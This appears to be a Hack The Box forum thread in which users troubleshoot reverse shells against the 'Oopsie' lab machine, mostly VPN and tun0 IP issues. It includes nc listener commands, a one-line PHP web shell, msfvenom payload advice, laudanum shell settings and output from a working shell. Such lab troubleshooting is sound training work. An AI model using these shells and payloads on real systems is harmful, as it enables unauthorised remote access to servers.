Heya, i am facing the same issue.
-My tun0 interface ip is 10.10.14.23
-no firewall is up at machine or network level
-no port redirection for 8443
-my vpn is up and running (i can ping and access the oopsie machine)
-i have successfully uploaded a reverseshell.php and set up the ip 10.10.14.23 ip, and port 8443
-i am listening to port 8443
nc -lvnp 8443
listening on [any] 8443 …
-and when i execute the shell i got
[~/HTB/Oopsie]
└─$ curl http://10.10.10.28/uploads/reverseshelltest.php
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused (111)
I am really trying to see what is causing this , no more hint so far
PS: btw, for those who get a 404 error the files are deleted every X minutes so you should upload it again
You probable use a server that has a php module. When you call your script it executes on your server. That’s why it does not work. To fix this issue you have to delete extension of a php file, than transfers it to the victim machine and add the .php extension after. Normally it should work.
Just a quick follow up: this was due to the the duration of the vpn tunnel somehow, it had been running al night , i have closed it. regenerate the access pack and got the same workflow running at the same time. Not sure exactly what (a time out? a token? …) but at least i was able to complete it!
You probable use a server that has a php module. When you call your script it executes on your server. That’s why it does not work. To fix this issue you have to delete extension of a php file, than transfers it to the victim machine and add the .php extension after. Normally it should work.
and i used the ip given in inet as the ip to be provided in the script with port 1234 and i got the reverse shell… I think it’s the Ip tunnel that is being shown as my external Ip or something to hide the Internal Ip
in my case there are two “tun0” and “tun1” . Put one of the ip in php-reverse-shell.php file
this work for me.
���������(krish500���DESKTOP-18BPFD5)-[/usr/share/webshells]
������$ sudo nc -lnvp 8443
[sudo] password for krish500:
listening on [any] 8443 …
connect to [10.10.14.179] from (UNKNOWN) [10.129.112.164] 58646
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:24:20 up 1:56, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
Hi guys.
I want to help you solve the problem with the Kali machine.
I myself have encountered this problem many times, but every time the task arose to attack a virtual server from my Kali machine, I always put off decisions for later, because I could not decide quickly.
If you are using the pwnbox virtual machine, then things are much simpler. You simply prescribe ip not of the network interface, but of the vpn connection. As has been written here many times.
But what if you are using your local Kali machine.
First, I would like you to think about how does your Kali machine know the route through the VPN tunnel?
Not like. You need a route from your kali machine to the attacked pwnbox server through a vpn tunnel.
The easiest way is to set up an open VPN on your Kali machine.
This can be done very quickly with the command
sudo apt-get update
sudo apt-get install openvpn network-manager
After that, you download the configuration file and create a new VPN interface in the settings of the Kali machine, where you import the configuration file without specifying a login and password!
That’s it - now you start a new VPN and everything should work.
When setting up the shell, you specify the VPN connection ip !!! instead of ip of your network interface!!!
Be sure to make sure that you have 2 interfaces enabled, 1 - your network interface for Internet access, and 1 new VPN interface for connecting to the pwnbox network. Good luck.
Create a VPN connection
Sorry for the screenshots in this resolution. did it quickly.
Well it took me a couple of hours to figure out a solution for that issue , hope it will help anyone.
So I just started doing stuff with htb lately but I had done reverse shells before with nc and never had a problems till now , vpn , network , ips, ports everything was ok but yet , its not working.
Wondring the space of the internet led me to some topics and advices but none seems to help , I knew that my journey with htb would be worthless without having the ability to use a reverse shell,I almost gave up after spending all night on this , but the next day…
SOLUTION > it seems that for some the well known php shells you can grab from github ( and there arent many for my surprise) wont do the trick and wont work , so I went and used msfvenom to generate a shell payload ( PHP Reverse Shell with Metasploit ) for php@htb you will have to use php/reverse_php( PHP Command Shell, Reverse TCP (via PHP) - Metasploit - InfosecMatter) for the simplicity and for the final size, once you have this shell running and connected to the victim from msfconsole run the nc command to make a connection from the shell back to your nc listner ( listen on your end befroe and use a random port at least as 5 chars ex 55433 ) and you shall have a new connection on nc now and happy hacking.
Don’t know if it’s the case, but when a reverse shell fails, I recommend you to try a few things.
Upload a phpinfo file and check if there is some disabled function that you are using in your reverse shell code.
Upload a simpler php file that achieves RCE in the machine. For example this one:
<?php system($_REQUEST[0]);? >
With that RCE POC, try to ping your machine and see if outgoing traffic is enabled.
Try to get your reverse in a different port, in case the firewall is blocking. For example you can use common ports like 80,443,8080,8000.
If pentestmonkey reverse shell is not working, why don’t you try to get a bash reverse shell with your RCE POC. If you are able to get the shell you will be able to explore further in the system and discover why your reverse wasn’t working.
Those are some steps that I follow when I see that some payload that Im using is not working at all. It helps me to retrieve more information about the machine so I can guess why my payload is not working.
Actually see I got a different error when uploading the shell without the .php ext. Added the exemption to my Avast AV, turned off the firewall temp to see the following webpage
I had the same issue following IPPSEC’s tutorial of Friend Zone. The root cause of this issue as pointed out by other comments is the reverse shell cannot connect to your listening port. In my case the version of the laudanum reverse shell was different than the version used by IPPSEC in the video and the port number has to be entered in two different places The web shell has these lines
//$ip = ‘10.2.2.1’; // CHANGE THIS
//$port = 8888; // CHANGE THIS
$port = isset($_POST[‘port’]) ? $_POST[‘port’] : ‘8888’;
If you change just the first two lines without changing the third it will use port 8888 as the listening port of the reverse shell
